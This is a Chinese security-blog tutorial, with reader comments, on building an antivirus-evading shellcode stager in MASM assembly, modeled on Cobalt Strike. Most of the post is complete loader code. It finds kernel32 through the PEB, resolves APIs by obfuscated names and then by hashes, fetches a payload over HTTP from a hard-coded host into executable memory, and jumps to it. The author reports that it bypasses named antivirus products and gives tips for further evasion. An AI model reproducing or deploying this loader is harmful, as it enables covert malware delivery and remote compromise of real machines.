编译汇编代码实现免杀

在前面的文章中读过CobaltStrike的汇编代码,整体的思路就是用某种函数将shellcode加载到内存,然后跳到写入shellcode内存的地方执行

0x01 前言

在前面的文章中读过CobaltStrike的汇编代码,整体的思路就是用某种函数将shellcode加载到内存,然后跳到写入shellcode内存的地方执行

如果只是调用函数,不可避免的会让函数在导入表中

用GetProcAddress在没有加密的情况下函数名会出现在.data段中

某天逛倾旋大佬博客的时候,发现大佬直接写汇编代码用nasm编译成obj文件,再使用link生成exe

那shellcode本就是汇编语言,稍加修改不就可以直接编译成exe了吗

这样避免了导入表会存在函数,也不会出现在C中用VirtualAlloc开一块空间,然后shellcode又开一块空间的情况,直接使用汇编加载完整shellcode就可以了

本次文章就来简单实现一下

0x02 编译器&&基础知识

这次的编译器选择的是masm32

https://www.masm32.com/

大佬文章中用的是nasm,实际测试的时候nasm对低版本windows的兼容性有点差,到winxp就执行不了了

当然也有可能是链接器有问题,网上实在找不到老版本的链接器..

下面是masm的格式

.386        ;声明需要使用386的CPU指令,当然还有486,586这里就不展开了
.MODEL flat ;代码段和数据段同用4GB的内存空间
.STACK      ;定义栈段,windows中栈是操作系统划分的,一般不定义
.DATA       ;数据段
.CODE       ;代码段

有了这些就可以开始写代码了

先整理一下思路,准备写个简单点的

  1. 在数据段存放混淆过的函数名和参数,再开出一些空间用来存放后面得到的函数指针
  2. 通过PEB找到kernel32.dll的地址然后找到GetProcAddress地址
  3. 写一个解密用的函数,不需要太复杂,但是最好不要用xor,这个指令还是有点敏感
  4. 把函数名解密,用GetProcAddress找到函数的地址存放到在数据段开的空间
  5. 得到全部需要用到的函数指针,最后就正常的调用函数

0x03 代码编写

数据段

首先是.data段

因为是模仿CS写的,用的函数也是shellcode里面的那些

.DATA
Point0 db 4 dup(0)        ;GetProcAddress           
Point1 db 4 dup(0)        ;VirtualAlloc

;db是伪指令意思是指define byte,还有dw-word,dd-dword,dup是duplicate的缩写是重复的意思
;db 4 dup(0)是指重复写入四字节的0,这里的意思就是留一个四字节的空间用来存放函数指针
;当然别的数字也没关系因为这里要覆盖掉的

Point0_dll db 4 dup(0)        ;kernel32.dll
Point1_dll db 4 dup(0)        ;wininet.dll
;这里和上面一样用来存放dll的地址

Dll1 db 74h,6ah,6dh,6ah,6dh,66h,77h,2dh,67h,6fh,6fh,00h           ;wininet.dll
func1 db 55h,6ah,71h,77h,76h,62h,6fh,42h,6fh,6fh,6ch,60h,00h       ;VirtualAlloc
;这里是混淆后的dll名称和函数名称,在结尾要加上0,不然字符串会一直连接下去不能截取

func4_param db "aa"
func5_param db 32h,33h,2dh,37h,33h,2dh,33h,31h,31h,31h,31h,0
func6_param0 db "HTTP/100",00h
func6_param1 db "/z9q8",00h
func6_param2 db "GET",00
;这些就是一些参数了,可以选择混淆也可以明文,ip地址最好混淆一下

上面没写全,就差不多这个意思,别的函数和dll啥的都可以按照上面来

数据段

.CODE
_START:                 
;固定格式不用这个会提示warning A4023: with /coff switch, leading underscore required for start address : START
;这里开始写汇编代码

call Strlen         ;就是调用Strlen函数,下面是具体的实现

Strlen:
  xor ecx,ecx
  mov esi,[esp+8]
  s:lodsb
  inc ecx
  cmp AL,0
  jnz s
  dec ecx
  ret

END _START

混淆实现

之前尝试过,xor关键字很容易被识别出来,整个简单点的,所有字符的十六进制-1好了

; win.asm
.386
.MODEL flat
.STACK
.DATA
func1 db 55h,6ah,71h,77h,76h,62h,6fh,42h,6fh,6fh,6ch,60h,00h       ;VirtualAlloc

.CODE
_START:
    push offset DWORD PTR func3     
    ;这是的offset是伪指令,意思是取func1的地址,如果直接 push func1取的是前面四个字符

Decode:
     mov ebx,[esp+4]            
     ;当前esp的值是call下面的要执行的代码的地址,所以+4取到push进来的值
     ;因为要改字符都要-1所以要先得到字符串的长度,这样可以只要需要循环几次
     ;需要写一个得到字符串长度的函数
     call Strlen        ;调用Strlen,这时候长度在ecx寄存器,直接用loop指令
     x:mov AL, BYTE  PTR [ebx + ecx - 1]
     ;ebx是指向被混淆的字符串的指针,加上ecx这个指针就到了末尾,最后-1就到了最后一个字符,中括号就和C语言中的&是相同的,用BYTE  PTR设定了取一字节存入AL中
     inc AL             ;因为设定的是混淆的字符串是-1,+1后就正确了
     mov BYTE PTR [ebx + ecx - 1], AL           ;最后把动过的字符串放回原来的位置
     loop x                                     ;如果ecx不为0那么到x位置继续循环
     ret 4                                      ;前面push了

Strlen:
  xor ecx,ecx               ;首先把ecx置零
  mov esi,[esp+8]           ;因为这里又call了所以要取esp+8的位置,放到esi里面
  s:lodsb                   
  ;lodsb执行一次会把esi执行的第一个字节存入al中,然后esi+1
  inc ecx                   ;自加1
  cmp AL,0                  ;对比AL是否为0,不为0标志位不动
  jnz s                     ;要是标志为不为1跳回s位置重新执行
  dec ecx                   ;因为这里ecx是算上0的,所以要减1
  ret 4                     ;返回,因为前面有一个push为了堆栈平衡所以要多弹出4字节

END _START

完整代码

可以先用python生成混淆后的字符串

a = "LoadLibraryA"
for i in range(0, len(a)):
    print(hex((ord(a[i]))-1).replace("0x",""),end="h,")
print("00h")
; win.asm
.386
.MODEL flat
.STACK
.DATA
Point0 db 4 dup(0)        ;GetProcAddress
Point1 db 4 dup(0)        ;VirtualAlloc
Point2 db 4 dup(0)        ;
Point3 db 4 dup(0)        ;
Point4 db 4 dup(0)        ;InternetOpenA
Point5 db 4 dup(0)        ;InternetConnectA
Point6 db 4 dup(0)        ;HttpOpenRequestA
Point7 db 4 dup(0)        ;HttpSendRequestA
Point8 db 4 dup(0)        ;InternetReadFile

Point0_dll db 4 dup(0)        ;kernel32.dll
Point1_dll db 4 dup(0)        ;wininet.dll

Dll1 db 76h,68h,6dh,68h,6dh,64h,73h,2dh,63h,6bh,6bh,00h           ;wininet.dll

func1 db 55h,68h,71h,73h,74h,60h,6bh,40h,6bh,6bh,6eh,62h,00h       ;VirtualAlloc
func3 db 4bh,6eh,60h,63h,4bh,68h,61h,71h,60h,71h,78h,40h,00h         ;LoadLibraryA
func4 db 48h,6dh,73h,64h,71h,6dh,64h,73h,4eh,6fh,64h,6dh,40h,00h      ;InternetOpenA
func5 db 48h,6dh,73h,64h,71h,6dh,64h,73h,42h,6eh,6dh,6dh,64h,62h,73h,40h,00h ;InternetConnectA
func6 db 47h,73h,73h,6fh,4eh,6fh,64h,6dh,51h,64h,70h,74h,64h,72h,73h,40h,00h ;HttpOpenRequestA
func7 db 47h,73h,73h,6fh,52h,64h,6dh,63h,51h,64h,70h,74h,64h,72h,73h,40h,00h ;HttpSendRequestA
func8 db 48h,6dh,73h,64h,71h,6dh,64h,73h,51h,64h,60h,63h,45h,68h,6bh,64h,00h ;InternetReadFile

func4_param db "aa"
func5_param db 30h,2fh,2dh,30h,32h,2fh,2dh,33h,2dh,31h,2fh,33h,00h
func6_param0 db "HTTP/100",00h
func6_param1 db "/5quA",00h
func6_param2 db "GET",00

;上面都是一些函数名,dll名,参数啥的,存在数据段

.CODE
ASSUME FS:NOTHING                       ;指定FS,不然用FS+0x30找PEB会找不到
_START:
    call Getkernel32DLL                 ;找kerner32.dll的地址
    mov DWORD PTR [Point0_dll], ebx     ;上一个函数结束后kernel32的地址在
    call Get_Function                   ;找到GetProcAddress的地址
    mov DWORD PTR [Point0],edx          ;地址存入Point0
    push offset DWORD PTR func3         ;压入混淆后的字符串
    call Decode                         ;解码,正确的字符串会覆盖在原先的位置
    push offset DWORD PTR Dll1
    call Decode
    mov eax,DWORD PTR [Point0_dll]      ;kernel32的地址存入eax
    push offset DWORD PTR func3         ;压入函数名
    push eax                            ;压入地址
    call DWORD PTR [Point0]             ;调用GetProcAddress函数
    push offset DWORD PTR Dll1          ;上面得到的是LoadLibraryA的地址,这时候eax是指向LoadLibraryA的函数指针,这里push wininet的字符串,下面直接call eax就可以加载wininet.dll
    call eax            ;call LoadLibraryA  
    mov DWORD PTR [Point1_dll], eax         ;wininet地址存入Point1_dll中

    push offset DWORD PTR func4             
    call Decode
    mov eax, DWORD PTR [Point1_dll]
    push offset DWORD PTR func4
    push eax
    call DWORD PTR [Point0]
    mov DWORD PTR [Point4], eax

    push offset DWORD PTR func5
    call Decode
    mov eax, DWORD PTR [Point1_dll]
    push offset DWORD PTR func5
    push eax
    call DWORD PTR [Point0]
    mov DWORD PTR [Point5], eax

    push offset DWORD PTR func6
    call Decode
    mov eax, DWORD PTR [Point1_dll]
    push offset DWORD PTR func6
    push eax
    call DWORD PTR [Point0]
    mov DWORD PTR [Point6], eax

    push offset DWORD PTR func7
    call Decode
    mov eax, DWORD PTR [Point1_dll]
    push offset DWORD PTR func7
    push eax
    call DWORD PTR [Point0]
    mov DWORD PTR [Point7], eax

    push offset DWORD PTR func1
    call Decode
    mov eax, DWORD PTR [Point0_dll]
    push offset DWORD PTR func1
    push eax
    call DWORD PTR [Point0]
    mov DWORD PTR [Point1], eax

    push offset DWORD PTR func8
    call Decode
    mov eax, DWORD PTR [Point1_dll]
    push offset DWORD PTR func8
    push eax
    call DWORD PTR [Point0]
    mov DWORD PTR [Point8], eax

    ;上面都是类似的操作,把字符串压入然后解密,得到的函数指针存入数据段中
    push offset DWORD PTR func5_param           ;ip地址解密
    call Decode

    push 0
    push 0
    push 0
    push 1
    push offset DWORD PTR func4_param
    call DWORD PTR [Point4]                 ;调用InternetOpenA

    push 0
    push 0
    push 3
    push 0
    push 0
    push 52h            ;这里是端口
    push offset DWORD PTR func5_param
    push eax
    call DWORD PTR [Point5]                 ;InternetConnectA

    push 0
    push 4000000h
    push 0
    push 0
    push offset DWORD PTR func6_param0
    push offset DWORD PTR func6_param1
    push offset DWORD PTR func6_param2
    push eax
    call DWORD PTR [Point6]                 ;HttpOpenRequestA
    mov DWORD PTR [Point2],eax              ;将得到的句柄存入Point2中

    push 0
    push 0
    push 0
    push 0
    push eax
    call DWORD PTR [Point7]                 ;HttpSendRequestA

    push 40h
    push 1000h
    push 400000h
    push 0
    call DWORD PTR [Point1]                 ;VirtualAlloc

    push offset DWORD PTR Point3
    push 400000h
    push eax
    mov edi,eax                             ;VirtualAlloc的地址存入edi
    mov eax,DWORD PTR [Point2]
    push eax
    call DWORD PTR [Point8]                 ;InternetReadFile
    push edi                                ;edi入栈,这时候存的是VirtualAlloc开辟的地址
    ret                                     ;跳到VirtualAlloc开辟的地址执行

Getkernel32DLL:
  xor ecx,ecx
  mov eax,fs:[ecx+30h]
  mov eax, [eax+0Ch]
  mov esi, [eax+14h]
  lodsd
  xchg eax, esi
  lodsd
  mov ebx,[eax+10h]
  ret

Get_Function:
  mov edx,[ebx+3ch]
  add edx,ebx
  mov edx, [edx+78h]
  add edx, ebx
  mov esi, [edx+20h]
  add esi, ebx
  xor ecx,ecx
  getfunc:inc ecx
  lodsd
  add eax,ebx
  cmp DWORD PTR [eax], 50746547h
  jnz getfunc
  cmp DWORD PTR [eax+4], 41636f72h
  jnz getfunc
  mov esi, [edx+24h]
  add esi, ebx
  mov cx, [esi + ecx * 2]
  dec ecx
  mov esi, [edx+1ch]
  add esi, ebx
  mov edx, [esi + ecx * 4]
  add edx, ebx
  ret 

Decode:
  mov ebx,[esp+4]
  call Strlen
  x:mov AL, BYTE  PTR [ebx + ecx - 1]
  inc AL
  mov BYTE PTR [ebx + ecx - 1], AL
  loop x
  ret 4

Strlen:
  xor ecx,ecx
  mov esi,[esp+8]
  s:lodsb
  inc ecx
  cmp AL,0
  jnz s
  dec ecx
  ret

END _START

然后用下面的指令编译,ml和link都在masm32/bin目录下

ml /c /coff /Cp masm.asm                #编译为obj文件

link /subsystem:windows masm.obj        #生成exe文件

实测此方法是可以过火绒和wdf的

360在刚编译好的时候是查不出来的,但是在机器上放一下就会杀掉了,应该是有模拟运行这样的东西,毕竟静态混淆过了,动态执行后在内存中该复原的还是要复原

用了myccl找了一下特征码,数据段提示的是那几个被混淆过的字符串

代码段是搜索GetProcAddress函数的位置

cmp DWORD PTR [eax], 50746547h
jnz getfunc
cmp DWORD PTR [eax+4], 41636f72h

看来要学习一下CS的shellcode的写法了

0x04 重新编写

  1. 存入一个特征码
  2. 得到导入表中的函数数量,存入ecx中
  3. 遍历函数名称,字符右移13位,遍历完函数名后对比特征码,如果不同ecx-1,如果相同话就拿ecx去找函数实际地址

本来还需要得到dll名称的长度再加上后面混淆后的字符,对比特征码的,偷懒不写了

这是cs取函数的方法,尽可能的避免了字符串的出现

和上面一样,要先写出混淆的代码,这里用汇编语言来实现

;confusion.asm
.386
.MODEL flat,stdcall                         ;调用约定为stdcall

includelib kernel32.lib                             
includelib msvcrt.lib                       ;包含msvcrt.lib,这样才可以调用里面的函数

strcmp PROTO C, :DWORD,:DWORD
printf PROTO C, :VARARG                     ;定义参数类型
LoadLibraryA PROTO :DWORD                   ;加载dll用到

.STACK
.DATA
func db "LoadLibraryA",00h          ;LoadLibraryA       要找的函数的函数名
dll db "wininet.dll"                ;指定要找的函数的动态链接库  
Point0 db 4 dup(0)                  ;kernel32地址
func_name db 4 dup(0)               ;遍历的函数名
tz db 4 dup(0),00h                  ;混淆后的内容
hex db "%x",00h                     ;打印的结果以十六进制显示

.CODE
ASSUME FS:NOTHING
_START:
    push offset dword ptr dll
    call LoadLibraryA                           ;加载dll将dll地址存入Point0
    mov DWORD PTR [Point0], eax
    mov ebx, eax                                ;dll地址存入ebx
    mov edx,dword ptr ds:[ebx+3ch]
    add edx, ebx
    mov edx,dword ptr ds:[edx+78h]
    add edx, ebx
    mov ecx,dword ptr ds:[edx+18h]              ;NumberOfNames得到函数数量
    mov edx,dword ptr ds:[edx+20h]              ;AddressOfNames函数名称的偏移
    add edx, ebx                                ;AddressOfNames地址
    a:dec ecx                                   ;ecx-1
    mov esi,dword ptr ds:[edx+ecx*4]            ;得到函数名称偏移
    add esi,ebx                                 ;得到函数名称地址
    mov dword ptr [func_name],esi               ;得到的函数名称存入func_name
    xor edi,edi                                 ;xor置零
    x:xor eax,eax                               ;eax置零
    lodsb                                       
    rol edi, 2
    add edi,eax                                 ;上面就是简单的混淆
    cmp al,0                                    ;如果对比到0说明函数名遍历结束
    jnz x                                       
    mov dword ptr [tz], edi                     ;得到的特征存入tz
    pushad                                      ;全部寄存器全部入栈,因为strcmp执行后会修改几个寄存器的值,为了保证寄存器的值一样,先入栈保存
    push offset dword ptr func                  ;要找的函数名
    push DWORD PTR func_name                    ;遍历到的函数名
    call strcmp                                 ;执行strcmp
    pop ebx                                     ;因为strcmp不会内平栈所以pop弹出参数
    pop ebx                                     ;同上
    cmp eax,0                                   ;对比是否相同
    popad                                       ;复原寄存器
    jnz a

    push dword ptr tz                           ;相同就走到这里特征入栈
    push offset dword ptr hex                   ;以十六进制显示
    call printf                                 ;调用函数

END _START

;ml /c /coff /Cp confusion.asm
;link /subsystem:console /libpath:c:\masm32\lib confusion.obj           这里用console打印的结果会在控制台显示,windows的话不显示控制台,然后要设定lib的路径

0x6fceae14——LoadLibraryA
0xb7a84d25——InternetOpenA
0xea07de71——InternetConnectA
0x737cae72——HttpOpenRequestA
0x7524ae72——HttpSendRequestA
0x79c5937c——VirtualAlloc
0xea134901——InternetReadFile

; win.asm
.386
.MODEL flat
.STACK
.DATA
Point1 db 4 dup(0)        ;VirtualAlloc
Point2 db 4 dup(0)        ;
Point3 db 4 dup(0)        ;
Point4 db 4 dup(0)        ;InternetOpenA
Point5 db 4 dup(0)        ;InternetConnectA
Point6 db 4 dup(0)        ;HttpOpenRequestA
Point7 db 4 dup(0)        ;HttpSendRequestA
Point8 db 4 dup(0)        ;InternetReadFile

Point0_dll db 4 dup(0)        ;kernel32.dll
Point1_dll db 4 dup(0)        ;wininet.dll
IED_struct db 4 dup(0)        ;IMAGE_EXPORT_DIRECTORY结构指针

func1 db 7ch,93h,0c5h,79h        ;VirtualAlloc
func3 db 14h,0aeh,0ceh,6fh       ;LoadLibraryA
func4 db 25h,4dh,0a8h,0b7h      ;InternetOpenA
func5 db 71h,0deh,07h,0eah       ;InternetConnectA
func6 db 72h,0aeh,7ch,73h       ;HttpOpenRequestA
func7 db 72h,0aeh, 24h,75h      ;HttpSendRequestA
func8 db 01h,49h,13h,0eah      ;InternetReadFile

func4_param db "aa"
func5_param db "10.130.4.205",00h
func6_param0 db "HTTP/100",00h
func6_param1 db "/5quA",00h
func6_param2 db "GET",00

.CODE
ASSUME FS:NOTHING
_START:
    call Getkernel32DLL
    mov DWORD PTR [Point0_dll], ebx
    push dword ptr func3
    push dword ptr Point0_dll
    call Decode
    push 0074656eh
    push 696e6977h
    push esp
    call eax
    mov dword ptr [Point1_dll], eax
    push dword ptr func4
    push eax
    call Decode
    mov dword ptr Point4,eax
    push dword ptr func5
    push dword ptr Point1_dll
    call Decode
    mov dword ptr Point5,eax
    push dword ptr func6
    push dword ptr Point1_dll
    call Decode
    mov dword ptr Point6,eax
    push dword ptr func7
    push dword ptr Point1_dll
    call Decode
    mov dword ptr Point7,eax
    push dword ptr func8
    push dword ptr Point1_dll
    call Decode
    mov dword ptr Point8,eax
    push dword ptr func1
    push dword ptr Point0_dll
    call Decode
    mov dword ptr Point1,eax

    push 0
    push 0
    push 0
    push 1
    push offset DWORD PTR func4_param
    call DWORD PTR [Point4]

    push 0
    push 0
    push 3
    push 0
    push 0
    push 52h
    push offset DWORD PTR func5_param
    push eax
    call DWORD PTR [Point5]

    push 0
    push 4000000h
    push 0
    push 0
    push offset DWORD PTR func6_param0
    push offset DWORD PTR func6_param1
    push offset DWORD PTR func6_param2
    push eax
    call DWORD PTR [Point6]
    mov DWORD PTR [Point2],eax

    push 0
    push 0
    push 0
    push 0
    push eax
    call DWORD PTR [Point7]

    push 40h
    push 1000h
    push 400000h
    push 0
    call DWORD PTR [Point1]

    push offset DWORD PTR Point3
    push 400000h
    push eax
    mov edi,eax
    mov eax,DWORD PTR [Point2]
    push eax
    call DWORD PTR [Point8]
    jmp s
    s:jmp edi
    int 3

Getkernel32DLL:
  xor ecx,ecx
  mov eax,fs:[ecx+30h]
  mov eax, [eax+0Ch]
  mov esi, [eax+14h]
  lodsd
  xchg eax, esi
  lodsd
  mov ebx,[eax+10h]
  ret

Decode:
  mov ebx,[esp+4]
  mov eax,[esp+8]
  mov edx,dword ptr ds:[ebx+3ch]
  add edx, ebx
  mov edx,dword ptr ds:[edx+78h]
  add edx, ebx
  mov dword ptr [IED_struct], edx
  mov ecx,dword ptr ds:[edx+18h]
  mov edx,dword ptr ds:[edx+20h]
  add edx, ebx
  a:dec ecx
  mov esi,dword ptr ds:[edx+ecx*4]
  add esi,ebx
  xor edi,edi
  x:xor eax,eax
  lodsb
  rol edi, 2
  add edi,eax
  cmp al,0
  jnz x
  cmp dword ptr [esp+8h],edi
  jnz a
  mov edx,dword ptr [IED_struct]
  mov eax,dword ptr ds:[edx+24h]
  add eax,ebx
  mov cx,word ptr ds:[eax+ecx*2]
  mov edx, dword ptr ds:[edx+1ch]
  add edx,ebx
  mov eax,dword ptr ds:[edx+ecx*4]
  add eax,ebx
  ret 8

END _START

这方法可以过常见的杀软,但是丢到vir上面查杀的还是挺多的

可以用到花指令,各种同义指令,少用call,jmp,push这类的,可以当一种思路

  • 发表于 2022-05-10 09:36:04
  • 阅读 ( 9615 )
  • 分类:内网渗透

7 条评论

lil_G
师傅你好,ip那段30h,2fh,2dh,30h,32h,2fh,2dh,33h,2dh,31h,2fh,33h,00h是怎么生成出来的呀,不如我的是192.168.41.129那应该写啥这里,具体算法怎么样的
Macchiato 回复 lil_G
师傅可以看下Decode函数
Macchiato 回复 lil_G
师傅可以关注下Decode函数
请先 登录 后评论
lil_G
请问一下怎么去掉窗口
Macchiato 回复 lil_G
链接的时候参数改为subsystem:console
请先 登录 后评论
Macchiato
忘记了师傅..
请先 登录 后评论
thinknothing_
师傅咋改成tcp协议
请先 登录 后评论
请先 登录 后评论
Macchiato
Macchiato

13 篇文章

站长统计